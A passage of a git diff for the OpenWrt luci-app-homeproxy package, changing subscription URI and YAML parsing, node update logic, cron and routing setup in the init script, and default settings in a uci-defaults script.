? anytls_fp : null + }; - break; + break; case 'http': case 'https': url = parseURL('http://' + uri[1]) || {}; @@ -290,6 +904,7 @@ function parse_uri(uri) { type: 'hysteria', address: url.hostname, port: url.port, + hysteria_hopping_port: normalize_hysteria_hopping_port(params.mport), hysteria_protocol: params.protocol || 'udp', hysteria_auth_type: params.auth ? 'string' : null, hysteria_auth_payload: params.auth, @@ -297,7 +912,7 @@ function parse_uri(uri) { hysteria_down_mbps: params.downmbps, hysteria_up_mbps: params.upmbps, tls: '1', - tls_insecure: (params.insecure in ['true', '1']) ? '1' : '0', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', tls_sni: params.peer, tls_alpn: params.alpn }; @@ -323,13 +938,13 @@ function parse_uri(uri) { password: url.username ? ( urldecode(url.username + (url.password ? (':' + url.password) : '')) ) : null, + hysteria_hopping_port: normalize_hysteria_hopping_port(params.mport), hysteria_obfs_type: params.obfs, hysteria_obfs_password: params['obfs-password'], tls: '1', - tls_insecure: (params.insecure === '1') ? '1' : '0', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', tls_sni: params.sni }; - apply_tls_cert_pin_policy(config, config.label, params.pinSHA256); break; case 'socks': @@ -410,6 +1025,7 @@ function parse_uri(uri) { password: urldecode(url.username), transport: (params.type !== 'tcp') ? params.type : null, tls: '1', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', tls_sni: params.sni }; switch(params.type) { @@ -450,6 +1066,7 @@ function parse_uri(uri) { tuic_congestion_control: params.congestion_control, tuic_udp_relay_mode: params.udp_relay_mode, tls: '1', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', tls_sni: params.sni, tls_alpn: params.alpn ? split(urldecode(params.alpn), ',') : null, }; @@ -480,6 +1097,7 @@ function parse_uri(uri) { uuid: url.username, transport: (params.type !== 'tcp') ? params.type : null, tls: (params.security in ['tls', 'xtls', 'reality']) ? '1' : '0', + tls_insecure: (params.insecure === '1' || params.allowInsecure === '1') ? '1' : '0', tls_sni: params.sni, tls_alpn: params.alpn ? split(urldecode(params.alpn), ',') : null, tls_reality: (params.security === 'reality') ? '1' : '0', @@ -613,69 +1231,248 @@ function parse_uri(uri) { return config; } +function split_top_level(str, separator) { + let items = [], current = '', quote = null, depth = 0; + + for (let i = 0; i < length(str); i++) { + const ch = substr(str, i, 1); + + if (quote) { + current += ch; + if (ch === quote) + quote = null; + continue; + } + + if (ch === '"' || ch === "'") { + quote = ch; + current += ch; + continue; + } + + if (ch === '[' || ch === '{') + depth++; + else if (ch === ']' || ch === '}') + depth--; + + if (ch === separator && depth === 0) { + push(items, trim(current)); + current = ''; + } else { + current += ch; + } + } + + if (length(trim(current))) + push(items, trim(current)); + + return items; +} + +function strip_yaml_quotes(value) { + value = trim(value); + if ((match(value, /^".*"$/) || match(value, /^'.*'$/)) && length(value) >= 2) + return substr(value, 1, length(value) - 2); + + return value; +} + +function parse_yaml_value(value) { + value = trim(value || ''); + if (value === '' || value === 'null' || value === '~') + return null; + + if (match(value, /^\[.*\]$/)) { + let arr = []; + const inner = substr(value, 1, length(value) - 2); + for (let item in split_top_level(inner, ',')) + push(arr, parse_yaml_value(item)); + return arr; + } + + if (match(value, /^\{.*\}$/)) + return parse_yaml_inline_object(value); + + value = strip_yaml_quotes(value); + if (value === 'true') + return true; + if (value === 'false') + return false; + + return value; +} + +function parse_yaml_key_value(line) { + const m = match(line, /^([^:]+):\s*(.*)$/); + if (!m) + return null; + + return { + key: strip_yaml_quotes(trim(m[1])), + value: m[2] + }; +} + +function parse_yaml_inline_object(text) { + let obj = {}; + text = trim(text); + text = substr(text, 1, length(text) - 2); + + for (let part in split_top_level(text, ',')) { + const kv = parse_yaml_key_value(part); + if (kv) + obj[kv.key] = parse_yaml_value(kv.value); + } + + return obj; +} + +function yaml_indent(line) { + const m = match(line, /^(\s*)/); + return m ? length(m[1]) : 0; +} + +function stack_pop(stack) { + let next = []; + for (let i = 0; i < length(stack) - 1; i++) + push(next, stack[i]); + return next; +} + +function parse_mihomo_yaml(text) { + if (isEmpty(text) || type(text) !== 'string') + return null; + + let in_proxies = false, proxies = [], current = null, stack = []; + + for (let raw_line in split(text, '\n')) { + raw_line = replace(raw_line, /\r$/, ''); + let line = trim(raw_line); + + if (!line || match(line, /^#/)) + continue; + + if (line === 'proxies:' || match(line, /^proxies:\s*$/)) { + in_proxies = true; + continue; + } + if (!in_proxies) + continue; + + if (yaml_indent(raw_line) === 0 && match(line, /^[A-Za-z0-9_-]+:\s*$/)) + break; + + if (match(line, /^-\s*/)) { + if (current) + push(proxies, current); + + current = {}; + stack = [{ indent: yaml_indent(raw_line), obj: current }]; + line = replace(line, /^-\s*/, ''); + + if (!line) + continue; + + if (match(line, /^\{.*\}$/)) { + current = parse_yaml_inline_object(line); + current.nodetype = 'mihomo'; + stack = [{ indent: yaml_indent(raw_line), obj: current }]; + continue; + } + } + + if (!current) + continue; + + const kv = parse_yaml_key_value(line); + if (!kv) + continue; + + const indent = yaml_indent(raw_line); + while (length(stack) > 1 && indent <= stack[length(stack) - 1].indent) + stack = stack_pop(stack); + + const parent = stack[length(stack) - 1].obj; + if (trim(kv.value) === '') { + parent[kv.key] = {}; + push(stack, { indent, obj: parent[kv.key] }); + } else { + parent[kv.key] = parse_yaml_value(kv.value); + } + } + + if (current) + push(proxies, current); + + for (let proxy in proxies) + proxy.nodetype = 'mihomo'; + + return length(proxies) ? proxies : null; +} + function main() { + cleanup_subscription_info(); + + if (via_proxy !== '1' && !provider_update_id) { + log('Stopping service...'); + init_action('homeproxy', 'stop'); + } + for (let url in subscription_urls) { url = replace(url, /#.*$/, ''); const groupHash = md5(url); node_cache[groupHash] = {}; - const fetch_result = wGETResult(url, user_agent) || {}, - res = fetch_result.stdout; + const response = wGETResponse(url, user_agent), + res = response?.body; if (isEmpty(res)) { - const reason = sanitizeCommandError(fetch_result.stderr); - log(sprintf('Failed to fetch resources from %s.', url)); - if (!isEmpty(reason)) - log(sprintf('Fetch stderr: %s', reason)); - reportSubscriptionDiagnostic('error', - sprintf('订阅地址拉取失败:%s', url), - reason || '请检查路由器到订阅源的连通性、DNS 解析和 TLS 访问是否正常'); continue; } - let nodes, parsed_as_surge = false; + let nodes; try { - nodes = json(res).servers || json(res); + const parsed = json(res); + if (type(parsed?.servers) === 'array') { + nodes = parsed.servers; - /* Shadowsocks SIP008 format */ - if (nodes[0].server && nodes[0].method) - map(nodes, (_, i) => nodes[i].nodetype = 'sip008'); - } catch(e) { - /* 先识别 Surge/Clash 托管配置格式(YAML 风格),再回退 Base64。 */ - if (match(res, /(^|\n)[ \t]*proxies\s*:\s*(#[^\n]*)?(\n|$)/)) { - nodes = parse_surge_subscription({ - isEmpty, - validation, - sing_features, - log, - apply_tls_cert_pin_policy - }, res); - parsed_as_surge = true; + /* Shadowsocks SIP008 format */ + if (nodes[0].server && nodes[0].method) + map(nodes, (_, i) => nodes[i].nodetype = 'sip008'); + } else if (type(parsed?.proxies) === 'array') { + nodes = parsed.proxies; + map(nodes, (_, i) => nodes[i].nodetype = 'mihomo'); + } else if (type(parsed?.outbounds) === 'array') { + nodes = parsed.outbounds; + map(nodes, (_, i) => nodes[i].nodetype = 'sing-box'); + } else if (type(parsed) === 'array') { + nodes = parsed; + if (nodes[0]?.server && nodes[0]?.method) + map(nodes, (_, i) => nodes[i].nodetype = 'sip008'); + else if (nodes[0]?.type && nodes[0]?.server) + map(nodes, (_, i) => nodes[i].nodetype = 'sing-box'); } else { + nodes = []; + } + } catch(e) { + nodes = parse_mihomo_yaml(res); + if (isEmpty(nodes)) { nodes = decodeBase64Str(res); - nodes = nodes ? split(trim(replace(nodes, / /g, '_')), '\n') : []; + const decoded_nodes = parse_mihomo_yaml(nodes); + if (!isEmpty(decoded_nodes)) + nodes = decoded_nodes; + else + nodes = nodes ? split(trim(replace(nodes, / /g, '_')), '\n') : []; } } let count = 0; for (let node in nodes) { let config; - if (!isEmpty(node)) { - /* 信任边界来自控制流,而不是节点内容:只有 parse_surge_subscription() - * 分支产出的节点才会被当作已解析 config。任意 JSON 中伪造的 - * 'nodetype'/'type' 不会绕过 parse_uri(),因为 JSON 路径下 - * parsed_as_surge=false,仍然走原有校验和白名单映射。 */ - if (parsed_as_surge && type(node) == 'object') - config = node; - else - config = parse_uri(node); - } + if (!isEmpty(node)) + config = parse_uri(node); if (isEmpty(config)) continue; - if (!isEmpty(config.__skip_reason)) { - log(sprintf('Skipping node %s: %s', config.label || 'NULL', config.__skip_reason)); - continue; - } const label = config.label; config.label = null; @@ -690,7 +1487,7 @@ function main() { else { if (config.tls === '1' && allow_insecure === '1') config.tls_insecure = '1'; - if (config.type in ['vless', 'vmess']) + if (config.type in ['vless', 'vmess'] && isEmpty(config.packet_encoding)) config.packet_encoding = packet_encoding; config.grouphash = groupHash; @@ -705,88 +1502,87 @@ function main() { if (count == 0) log(sprintf('No valid node found in %s.', url)); - else + else { + const info_option = subscription_info_option(url), + display_name = subscription_display_name(url); + const previous_info = previous_subscription_info(info_option); + let subscription_info = parse_subscription_userinfo(response.headers); + + if (!subscription_info || !('total' in subscription_info) || !('expire' in subscription_info)) { + const fallback_headers = wGETHeaders(url, 'clash.meta'); + const fallback_info = parse_subscription_userinfo(fallback_headers); + if (fallback_info) { + if (subscription_info) + log(sprintf('Supplemented subscription user info for %s with Clash Meta user agent.', display_name)); + else + log(sprintf('Fetched subscription user info for %s with Clash Meta user agent.', display_name)); + subscription_info = merge_subscription_info(subscription_info, fallback_info); + } + } + + if (!subscription_info) { + subscription_info = previous_info || {}; + if (length(subscription_info)) + log(sprintf('Subscription %s did not return user info; keeping the previous values.', display_name)); + else + log(sprintf('Subscription %s did not return Subscription-Userinfo.', display_name)); + } else { + if (!('expire' in subscription_info)) + log(sprintf('Subscription %s returned traffic data without an expire value%s.', display_name, + previous_info && ('expire' in previous_info) ? '; keeping the previous value' : '')); + if (!('total' in subscription_info)) + log(sprintf('Subscription %s returned user info without a total value%s.', display_name, + previous_info && ('total' in previous_info) ? '; keeping the previous value' : '')); + subscription_info = merge_subscription_info(subscription_info, previous_info); + } + + subscription_info.updated_at = getTime(); + uci.set(uciconfig, ucisubscription, info_option, sprintf('%.J', subscription_info)); + log(sprintf('Successfully fetched %s nodes of total %s from %s.', count, length(nodes), url)); + } } if (isEmpty(node_result)) { - let fetch_errors = filter(subscription_diagnostics, (item) => item?.type === 'error' && item?.source === 'subscription'); - log('Failed to update subscriptions: no valid node found.'); - if (!length(fetch_errors)) - reportSubscriptionDiagnostic('error', - '订阅更新失败:没有找到可用节点。', - '请检查订阅地址、过滤规则,以及是否有节点因当前 sing-box 不支持证书指纹而被跳过'); + + if (via_proxy !== '1' && !provider_update_id) { + log('Starting service...'); + init_action('homeproxy', 'start'); + } return false; } - let added = 0, updated = 0, removed = 0, - stale_nodes = [], - stale_labels = {}; + let added = 0, removed = 0; uci.foreach(uciconfig, ucinode, (cfg) => { /* Nodes created by the user */ if (!cfg.grouphash) return null; + /* A provider update must not touch nodes from other subscriptions. */ + if (!(cfg.grouphash in node_cache)) + return null; + /* Empty object - failed to fetch nodes */ if (length(node_cache[cfg.grouphash]) === 0) return null; if (!node_cache[cfg.grouphash] || !node_cache[cfg.grouphash][cfg['.name']]) { - push(stale_nodes, cfg['.name']); - stale_labels[cfg['.name']] = cfg.label || cfg['.name']; - return null; + uci.delete(uciconfig, cfg['.name']); + removed++; + + log(sprintf('Removing node: %s.', cfg.label || cfg['name'])); } else { - const node = node_cache[cfg.grouphash][cfg['.name']]; - let node_changed = false; - - for (let v in node) { - if (isEmpty(node[v])) - continue; - - if (!(v in cfg) || !uci_value_equal(cfg[v], node[v])) - node_changed = true; - - uci.set(uciconfig, cfg['.name'], v, node[v]); - } map(keys(cfg), (v) => { - if (substr(v, 0, 1) == '.') - return null; - - if (!(v in node) || isEmpty(node[v])) { + if (v in node_cache[cfg.grouphash][cfg['.name']]) + uci.set(uciconfig, cfg['.name'], v, node_cache[cfg.grouphash][cfg['.name']][v]); + else uci.delete(uciconfig, cfg['.name'], v); - node_changed = true; - } }); - - if (node_changed) - updated++; - - node.isExisting = true; + node_cache[cfg.grouphash][cfg['.name']].isExisting = true; } }); - - if (length(stale_nodes)) { - const cleanup = remove_subscription_nodes(uci, uciconfig, stale_nodes); - removed += cleanup.removed; - - for (let node_id in stale_nodes) - log(sprintf('Removing node: %s.', stale_labels[node_id] || node_id)); - - if (cleanup.changed) { - if (uci.get(uciconfig, ucimain, 'main_node') !== main_node) - log(sprintf('Deleted subscription node affected main node, falling back to %s.', - uci.get(uciconfig, ucimain, 'main_node') || 'nil')); - if (uci.get(uciconfig, ucimain, 'main_udp_node') !== main_udp_node) - log(sprintf('Deleted subscription node affected main UDP node, falling back to %s.', - uci.get(uciconfig, ucimain, 'main_udp_node') || 'nil')); - - for (let change in cleanup.changes) - logCleanupChange(change); - } - } - for (let nodes in node_result) map(nodes, (node) => { if (node.isExisting) @@ -798,54 +1594,50 @@ function main() { added++; log(sprintf('Adding node: %s.', node.label)); - }); + }); uci.commit(uciconfig); - let need_restart = (via_proxy !== '1') || added > 0 || updated > 0 || removed > 0; + let need_restart = (via_proxy !== '1') || !!provider_update_id; if (!isEmpty(main_node)) { - const has_server = !!uci.get_first(uciconfig, ucinode); - if (has_server) { + const first_server = uci.get_first(uciconfig, ucinode); + if (first_server) { let main_urltest_nodes; if (main_node === 'urltest') { - main_urltest_nodes = filter(uci.get(uciconfig, ucimain, 'main_urltest_nodes') || [], (v) => { + main_urltest_nodes = filter(uci.get(uciconfig, ucimain, 'main_urltest_nodes'), (v) => { if (!uci.get(uciconfig, v)) { log(sprintf('Node %s is gone, removing from urltest list.', v)); return false; } return true; }); - setOrDeleteList(ucimain, 'main_urltest_nodes', main_urltest_nodes); - uci.commit(uciconfig); } if ((main_node === 'urltest') ? !length(main_urltest_nodes) : !uci.get(uciconfig, main_node)) { - uci.set(uciconfig, ucimain, 'main_node', 'nil'); + uci.set(uciconfig, ucimain, 'main_node', first_server); uci.commit(uciconfig); need_restart = true; - log('Main node is gone, disabling main node.'); + log('Main node is gone, switching to the first node.'); } if (!isEmpty(main_udp_node) && main_udp_node !== 'same') { let main_udp_urltest_nodes; if (main_udp_node === 'urltest') { - main_udp_urltest_nodes = filter(uci.get(uciconfig, ucimain, 'main_udp_urltest_nodes') || [], (v) => { + main_udp_urltest_nodes = filter(uci.get(uciconfig, ucimain, 'main_udp_urltest_nodes'), (v) => { if (!uci.get(uciconfig, v)) { log(sprintf('Node %s is gone, removing from urltest list.', v)); return false; } return true; }); - setOrDeleteList(ucimain, 'main_udp_urltest_nodes', main_udp_urltest_nodes); - uci.commit(uciconfig); } if ((main_udp_node === 'urltest') ? !length(main_udp_urltest_nodes) : !uci.get(uciconfig, main_udp_node)) { - uci.set(uciconfig, ucimain, 'main_udp_node', 'same'); + uci.set(uciconfig, ucimain, 'main_udp_node', first_server); uci.commit(uciconfig); need_restart = true; - log('Main UDP node is gone, falling back to the main node.'); + log('Main UDP node is gone, switching to the first node.'); } } } else { @@ -860,41 +1652,30 @@ function main() { if (need_restart) { log('Restarting service...'); - service_action('stop'); - service_action('start'); + init_action('homeproxy', 'stop'); + init_action('homeproxy', 'start'); } - log(sprintf('%s nodes added, %s updated, %s removed.', added, updated, removed)); + log(sprintf('%s nodes added, %s removed.', added, removed)); log('Successfully updated subscriptions.'); - - return true; } -if (!isEmpty(subscription_urls)) { - writeSubscriptionUpdateStatus(true, false, null, null); +if (provider_update_id && isEmpty(subscription_urls)) { + log(sprintf('Provider %s does not match any subscription.', provider_update_id)); + exit(1); +} +if (!isEmpty(subscription_urls)) try { - const ok = call(main); - writeSubscriptionUpdateStatus(false, true, ok === false ? false : true, - (ok === false) ? (subscription_diagnostics[0]?.message || '订阅更新失败。') : null); + if (call(main) === false) + exit(1); } catch(e) { - const status_error = sprintf('订阅更新异常:%s: %s', e.type || 'error', e.message || e); - log('[FATAL ERROR] An error occurred during updating subscriptions:'); log(sprintf('%s: %s', e.type, e.message)); log(e.stacktrace[0].context); - reportSubscriptionDiagnostic('error', - status_error, - '请查看 HomeProxy 日志中的 [SUBSCRIBE] 记录并修复订阅配置'); log('Restarting service...'); - service_action('stop'); - service_action('start'); - writeSubscriptionUpdateStatus(false, true, false, status_error); + init_action('homeproxy', 'stop'); + init_action('homeproxy', 'start'); + exit(1); } -} else { - subscription_diagnostics = []; - writeSubscriptionUpdateStatus(false, true, false, '未配置订阅地址。'); -} - -writeSubscriptionDiagnostics(); diff --git a/luci-app-homeproxy/root/etc/init.d/homeproxy b/luci-app-homeproxy/root/etc/init.d/homeproxy index 9b8b66fda..ae3e64721 100755 --- a/luci-app-homeproxy/root/etc/init.d/homeproxy +++ b/luci-app-homeproxy/root/etc/init.d/homeproxy @@ -27,35 +27,88 @@ log() { echo -e "$(date "+%Y-%m-%d %H:%M:%S") [DAEMON] $*" >> "$LOG_PATH" } -delete_ip_rules() { - local mark="$1" - local table="$2" - - while ip rule del fwmark "$mark" table "$table" 2>"/dev/null"; do - : - done +init_logs() { + mkdir -p "$RUN_DIR" + mkdir -p "$HP_DIR/run/ui" + touch "$LOG_PATH" "$RUN_DIR/sing-box-c.log" "$RUN_DIR/sing-box-s.log" + chown -R sing-box:sing-box "$RUN_DIR" 2>"/dev/null" + chown -R sing-box:sing-box "$HP_DIR/run" 2>"/dev/null" } -delete_ip6_rules() { - local mark="$1" - local table="$2" +valid_update_cron() { + echo "$1" | grep -Eq '^([0-9]|[0-5][0-9]) ([0-9]|[01][0-9]|2[0-3]) \* \* ([0-7]|\*)$' +} - while ip -6 rule del fwmark "$mark" table "$table" 2>"/dev/null"; do - : - done +has_ruleset_cron() { + printf '%s\n' "$ruleset_cron_list" | grep -Fxq -- "$1" +} + +add_ruleset_cron() { + local section="$1" + local enabled auto_update type update_time + + config_get_bool enabled "$section" "enabled" "0" + config_get_bool auto_update "$section" "auto_update" "1" + config_get type "$section" "type" "local" + config_get update_time "$section" "update_interval" "" + + [ "$enabled" = "1" ] || return + [ "$auto_update" = "1" ] || return + [ "$type" = "remote" ] || return + [ -n "$update_time" ] || return + valid_update_cron "$update_time" || return + has_ruleset_cron "$update_time" && return + + echo -e "$update_time sh $HP_DIR/scripts/update_rulesets.sh #${CONF}_autosetup" >> "/etc/crontabs/root" + ruleset_cron_list="${ruleset_cron_list} +${update_time}" + cron_reload="1" +} + +setup_auto_update_cron() { + local cron_reload="0" + mkdir -p "/etc/crontabs" + touch "/etc/crontabs/root" + grep -q "#${CONF}_autosetup" "/etc/crontabs/root" 2>"/dev/null" && cron_reload="1" + sed -i "/#${CONF}_autosetup/d" "/etc/crontabs/root" 2>"/dev/null" + + local auto_update auto_update_time + config_get_bool auto_update "subscription" "auto_update" "0" + if [ "$auto_update" = "1" ]; then + config_get auto_update_time "subscription" "auto_update_time" "0 0 * * *" + if valid_update_cron "$auto_update_time"; then + echo -e "$auto_update_time sh $HP_DIR/scripts/update_crond.sh #${CONF}_autosetup" >> "/etc/crontabs/root" + cron_reload="1" + fi + fi + + local ruleset_cron_list="" + config_foreach add_ruleset_cron "ruleset" + [ "$cron_reload" = "1" ] && /etc/init.d/cron restart } start_service() { + init_logs + config_load "$CONF" + setup_auto_update_cron local routing_mode proxy_mode config_get routing_mode "config" "routing_mode" "bypass_mainland_china" config_get proxy_mode "config" "proxy_mode" "redirect_tproxy" - local outbound_node default_outbound - config_get outbound_node "config" "main_node" "nil" - config_get default_outbound "routing" "default_outbound" "nil" - [ "$outbound_node" != "nil" ] || outbound_node="$default_outbound" + local cache_path + config_get cache_path "cache" "path" "$HP_DIR/cache.db" + mkdir -p "$(dirname "$cache_path")" + [ -e "$cache_path" ] || touch "$cache_path" + chown sing-box:sing-box "$cache_path" 2>"/dev/null" + + local outbound_node + if [ "$routing_mode" != "custom" ]; then + config_get outbound_node "config" "main_node" "nil" + else + config_get outbound_node "routing" "default_outbound" "nil" + fi local server_enabled config_get_bool server_enabled "server" "enabled" "0" @@ -64,8 +117,6 @@ start_service() { return 1 fi - mkdir -p "$RUN_DIR" - if [ "$outbound_node" != "nil" ]; then # Generate/Validate client config ucode -S "$HP_DIR/scripts/generate_client.uc" 2>>"$LOG_PATH" @@ -78,16 +129,6 @@ start_service() { return 1 fi - # Auto update - local auto_update auto_update_time - config_get_bool auto_update "subscription" "auto_update" "0" - if [ "$auto_update" = "1" ]; then - config_get auto_update_time "subscription" "auto_update_time" "2" - sed -i "/#${CONF}_autosetup/d" "/etc/crontabs/root" 2>"/dev/null" - echo -e "0 $auto_update_time * * * $HP_DIR/scripts/update_crond.sh #${CONF}_autosetup" >> "/etc/crontabs/root" - /etc/init.d/cron restart - fi - # DNSMasq rules local ipv6_support dns_port config_get_bool ipv6_support "config" "ipv6_support" "0" @@ -120,31 +161,23 @@ start_service() { sed -r -e '/^\s*$/d' -e "s/(.*)/server=\/\1\/127.0.0.1#$dns_port\nnftset=\/\1\\/4#inet#fw4#homeproxy_wan_proxy_addr_v4$wan_nftset_v6/g" \ "$HP_DIR/resources/proxy_list.txt" > "$DNSMASQ_DIR/proxy_list.conf" fi - /etc/init.d/dnsmasq restart >"/dev/null" 2>&1 - # Setup routing table local table_mark config_get table_mark "infra" "table_mark" "100" case "$proxy_mode" in "redirect_tproxy") - local outbound_udp_node main_node_for_routing default_outbound_for_routing use_default_outbound_routing + local outbound_udp_node config_get outbound_udp_node "config" "main_udp_node" "nil" - config_get main_node_for_routing "config" "main_node" "nil" - config_get default_outbound_for_routing "routing" "default_outbound" "nil" - [ "$routing_mode" != "custom" ] && [ "$main_node_for_routing" = "nil" ] && [ "$default_outbound_for_routing" != "nil" ] \ - && use_default_outbound_routing="1" || use_default_outbound_routing="0" - if [ "$outbound_udp_node" != "nil" ] || [ "$routing_mode" = "custom" ] || [ "$use_default_outbound_routing" = "1" ]; then + if [ "$outbound_udp_node" != "nil" ] || [ "$routing_mode" = "custom" ]; then local tproxy_mark config_get tproxy_mark "infra" "tproxy_mark" "101" - delete_ip_rules "$tproxy_mark" "$table_mark" ip rule add fwmark "$tproxy_mark" table "$table_mark" - ip route replace local 0.0.0.0/0 dev lo table "$table_mark" + ip route add local 0.0.0.0/0 dev lo table "$table_mark" if [ "$ipv6_support" -eq "1" ]; then - delete_ip6_rules "$tproxy_mark" "$table_mark" ip -6 rule add fwmark "$tproxy_mark" table "$table_mark" - ip -6 route replace local ::/0 dev lo table "$table_mark" + ip -6 route add local ::/0 dev lo table "$table_mark" fi fi ;; @@ -153,16 +186,14 @@ start_service() { config_get tun_name "infra" "tun_name" "singtun0" config_get tun_mark "infra" "tun_mark" "102" - ip link show "$tun_name" >"/dev/null" 2>&1 || ip tuntap add mode tun user root name "$tun_name" + ip tuntap add mode tun user root name "$tun_name" sleep 1s ip link set "$tun_name" up ip route replace default dev "$tun_name" table "$table_mark" - delete_ip_rules "$tun_mark" "$table_mark" ip rule add fwmark "$tun_mark" lookup "$table_mark" ip -6 route replace default dev "$tun_name" table "$table_mark" - delete_ip6_rules "$tun_mark" "$table_mark" ip -6 rule add fwmark "$tun_mark" lookup "$table_mark" ;; esac @@ -180,7 +211,8 @@ start_service() { procd_add_jail "sing-box-c" log procfs procd_add_jail_mount "$RUN_DIR/sing-box-c.json" procd_add_jail_mount_rw "$RUN_DIR/sing-box-c.log" - [ "$routing_mode" != "bypass_mainland_china" ] || procd_add_jail_mount_rw "$RUN_DIR/cache.db" + procd_add_jail_mount_rw "$cache_path" + procd_add_jail_mount_rw "$HP_DIR/run/" procd_add_jail_mount "$HP_DIR/certs/" procd_add_jail_mount "/etc/ssl/" procd_add_jail_mount "/etc/localtime" @@ -197,17 +229,6 @@ start_service() { procd_set_param respawn procd_close_instance - - # Clash API display proxy for dashboards. - local clash_api_enabled - config_get_bool clash_api_enabled "config" "clash_api_enabled" "0" - if [ "$clash_api_enabled" = "1" ]; then - procd_open_instance "clash-api-proxy" - procd_set_param command "/usr/bin/ucode" "$HP_DIR/scripts/clash_api_proxy.uc" - procd_set_param stderr 1 - procd_set_param respawn - procd_close_instance - fi fi if [ "$server_enabled" = "1" ]; then @@ -261,19 +282,15 @@ start_service() { procd_close_instance case "$routing_mode" in - "bypass_mainland_china") - # Prepare cache db - [ -e "$RUN_DIR/cache.db" ] || touch "$RUN_DIR/cache.db" - ;; "custom") # Prepare ruleset directory [ -d "$HP_DIR/ruleset" ] || mkdir -p "$HP_DIR/ruleset" ;; esac - [ "$outbound_node" = "nil" ] || echo > "$RUN_DIR/sing-box-c.log" + [ "$outbound_node" = "nil" ] || : > "$RUN_DIR/sing-box-c.log" if [ "$server_enabled" = "1" ]; then - echo > "$RUN_DIR/sing-box-s.log" + : > "$RUN_DIR/sing-box-s.log" mkdir -p "$HP_DIR/certs" fi @@ -284,6 +301,7 @@ start_service() { ucode "$HP_DIR/scripts/firewall_pre.uc" [ "$outbound_node" = "nil" ] || utpl -S "$HP_DIR/scripts/firewall_post.ut" > "$RUN_DIR/fw4_post.nft" fw4 reload >"/dev/null" 2>&1 + /etc/init.d/dnsmasq restart >"/dev/null" 2>&1 log "sing-box $(sing-box version -n) started." } @@ -302,17 +320,17 @@ stop_service() { config_get tun_name "infra" "tun_name" "singtun0" # Tproxy - delete_ip_rules "$tproxy_mark" "$table_mark" + ip rule del fwmark "$tproxy_mark" table "$table_mark" 2>"/dev/null" ip route del local 0.0.0.0/0 dev lo table "$table_mark" 2>"/dev/null" - delete_ip6_rules "$tproxy_mark" "$table_mark" + ip -6 rule del fwmark "$tproxy_mark" table "$table_mark" 2>"/dev/null" ip -6 route del local ::/0 dev lo table "$table_mark" 2>"/dev/null" # TUN ip route del default dev "$tun_name" table "$table_mark" 2>"/dev/null" - delete_ip_rules "$tun_mark" "$table_mark" + ip rule del fwmark "$tun_mark" table "$table_mark" 2>"/dev/null" ip -6 route del default dev "$tun_name" table "$table_mark" 2>"/dev/null" - delete_ip6_rules "$tun_mark" "$table_mark" + ip -6 rule del fwmark "$tun_mark" table "$table_mark" 2>"/dev/null" # Nftables rules for i in "homeproxy_dstnat_redir" "homeproxy_output_redir" \ @@ -343,8 +361,8 @@ stop_service() { rm -rf "$DNSMASQ_DIR/../dnsmasq-homeproxy.conf" "$DNSMASQ_DIR" /etc/init.d/dnsmasq restart >"/dev/null" 2>&1 - rm -f "$RUN_DIR/sing-box-c.json" "$RUN_DIR/sing-box-c.log" \ - "$RUN_DIR/sing-box-s.json" "$RUN_DIR/sing-box-s.log" + rm -f "$RUN_DIR/sing-box-c.json" "$RUN_DIR/sing-box-s.json" + init_logs log "Service stopped." } diff --git a/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy b/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy old mode 100644 new mode 100755 index fb6ebb36a..8d8cbf913 --- a/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy +++ b/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy @@ -3,6 +3,36 @@ [ -f "/www/luci-static/resources/icons/loading.gif" ] && \ sed -i "s,/loading.svg,/loading.gif,g" "/www/luci-static/resources/view/homeproxy/status.js" +uci -q set luci.main.lang='zh_cn' +uci -q commit luci + +api_secret="$(uci -q get homeproxy.clash_api.secret)" +if [ -z "$api_secret" ] || [ "$api_secret" = "homeproxy" ]; then + api_secret="$(tr -dc 'A-Za-z0-9' < /dev/urandom 2>"/dev/null" | head -c 16)" + [ -n "$api_secret" ] || api_secret="$(awk 'BEGIN{srand(); printf "%06d", int(rand() * 1000000)}')" + uci -q set homeproxy.clash_api.secret="$api_secret" + uci -q commit homeproxy +fi + +legacy_panel_url="https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip" +legacy_panel_proxy_url="https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip" +old_panel_url="https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip" +old_panel_proxy_url="https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip" +default_panel_url="https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip" +panel_url="$(uci -q get homeproxy.clash_api.external_ui_download_url)" +if [ -z "$panel_url" ] || [ "$panel_url" = "$legacy_panel_url" ] || [ "$panel_url" = "$legacy_panel_proxy_url" ] || [ "$panel_url" = "$old_panel_proxy_url" ]; then + uci -q set homeproxy.clash_api.external_ui_download_url="$default_panel_url" + uci -q commit homeproxy +fi + +rm -f /tmp/luci-indexcache /tmp/luci-modulecache/* 2>"/dev/null" + +mkdir -p /var/run/homeproxy +touch /var/run/homeproxy/homeproxy.log \ + /var/run/homeproxy/sing-box-c.log \ + /var/run/homeproxy/sing-box-s.log +chown -R sing-box:sing-box /var/run/homeproxy 2>"/dev/null" + uci -q batch <<-EOF >"/dev/null" delete firewall.homeproxy_pre diff --git a/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy-migration b/luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy-migration old mode 100644 new mode 100755 diff --git a/luci-app-homeproxy/root/usr/share/luci/menu.d/luci-app-homeproxy.json b/luci-app-homeproxy/root/usr/share/luci/menu.d/luci-app-homeproxy.json index e743c5838..9892a9b97 100644 --- a/luci-app-homeproxy/root/usr/share/luci/menu.d/luci-app-homeproxy.json +++ b/luci-app-homeproxy/root/usr/share/luci/menu.d/luci-app-homeproxy.json @@ -34,14 +34,6 @@ "path": "homeproxy/server" } }, - "admin/services/homeproxy/backup": { - "title": "Backup / Restore", - "order": 25, - "action": { - "type": "view", - "path": "homeproxy/backup" - } - }, "admin/services/homeproxy/status": { "title": "Service Status", "order": 